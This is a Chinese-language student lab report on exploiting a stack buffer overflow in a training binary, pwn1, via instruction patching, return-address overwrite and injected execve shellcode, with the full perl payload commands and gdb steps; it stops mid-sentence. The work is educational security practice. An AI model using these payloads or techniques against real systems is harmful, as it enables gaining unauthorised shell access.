一.实验内容
1 实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。以及学习如何注入运行任何Shellcode。
2 实验要求
1.熟悉Linux基本操作:
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
2.理解Bof的原理:
能看得懂汇编、机器指令、EIP、指令地址。
3.会使用gdb,vi。
3 基础知识
1.NOP, JNE, JE, JMP, CMP汇编指令
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
(2)JNE:条件转移指令,如果不相等则跳转。
(3)JE:条件转移指令,如果相等则跳转。
(4)JMP:无条件转移指令。段内直接短转Jmp short,段内直接近转移Jmp near,段内间接转移Jmp word,段间直接(远)转移Jmp far
(5)CMP:比较指令,功能相当于减法指令。
2.十六进制编辑器
(1)%!xxd 进入十六进制编辑模式
(2)%!xxd -r 切换回原模式
3.Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。
4.反汇编指令objdump:用于显示二进制文件(如可执行文件、目标文件和库文件)的多种信息。它主要用于反汇编二进制文件,以查看其机器代码和对应的汇编指令。
基本用法:objdump [选项]… 文件…
常用选项:(1)-d 或 --disassemble:反汇编指定的二进制文件。
(2)-D:反汇编所有段(包括 .text 和 .data 等)。
(3)-S 或 --source:混合显示汇编代码和源代码(需要编译时包含调试信息)。
(4)-C 或 --demangle:将 C++ 符号名解码为可读形式。
(5)-t 或 --syms:显示符号表。
(6)-h 或 --headers:显示文件头信息。
二.实验过程
1.直接修改程序机器指令,改变程序执行流程
(1)首先下载pwn1,进行反汇编
(2)输入cp pwn-1 pwn20222321复制文件;输入vi pwn20222321进入编辑,随后输入:%!xxd将显示模式切换为16进制模式,并查找要修改的内容
(3)按i将d7更改为e3
(4)转换16进制为原格式,输入:wq保存,再反汇编看一下,call指令是否正确调用getShell
发现执行shell。
2.通过构造输入参数,造成BOF攻击,改变程序执行流
(1)安装gdb并检验gdb是否安装成功
(3)使用gbd pwn20222321调试程序,输入r,再输入1111111122222222333333334444444412345678,输入命令 info r查看寄存器eip的值,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址。
(4)通过反汇编得知getShell的地址为u0x0804847d,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input构造输入字符串,再输入(cat input;cat) | ./pwn20222422-2将将input的输入,通过管道符“|”,作为pwn20222321的输入:
发现执行shell
3.注入Shellcode
(1)通过网址:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb下载execstack,再通过sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb解压
(2)切换root用户并初始化pwn20222321
(4)构造payload
输入:perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
构造input_shellcode文件,输入(cat input_shellcode; cat) | ./pwn20222422-3将input_shellcode作为输入执行pwn20222321
(5)新打开一个终端,输入ps -ef | grep pwn20222422-3查看进程号
发现进程号为28512,使用gdb调试pwn202223212,输入命令attach 28512,接着输入命令disassemble foo,反编译foo函数
(6)输入break *0x080484ae设置断点,再输入info r esp查看栈顶指针所在位置,为0xffffcfdc
接着输入x/16x 0xffffcfdc查看,出现了之前输入的·0x04030201
(7)栈顶指针地址加4字节,就是shellcode应该处于的地址,即0xffffcfdc+4=0xffffcfe0,输入perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,再输入(cat input_shellcode; cat) | ./pwn20222321
发现执行shell
三.问题及解决方案
-问题1:安装kali时提示网络配置失败
-问题1解决方案:将虚拟机设置中网络类型由“使用桥接网络”改为“使用网络地址转换(NAT)”
-问题2:在修改文件内容的时候,发现直接输入/e8d7查找不到相关内容
-问题2解决方案:在e8和d7间加一个空格之后可以解决
-问题3:在注入shellcode时候,第一步初始化总是报错
-问题3解决方案:求助同学后发现是因为权限不够,需先输入sudo passwd root设置root账户密码,再用su root切换为root账户再进行初始化
四.学习感悟、思考
通过此次实验,我对于Linux系统的基本操作及常用指令、基本反汇编指令、缓冲区溢出攻击(BOF)的基本原理有了进一步的理解,并初步学会了如何在实际中应用这些理论。整个实验过程不算是一帆风顺,期间遇到了不少困难,甚至重装了几次系统。通过上网查询以及求助同学等方法,我最终解决了这些问题,提升了自己解决问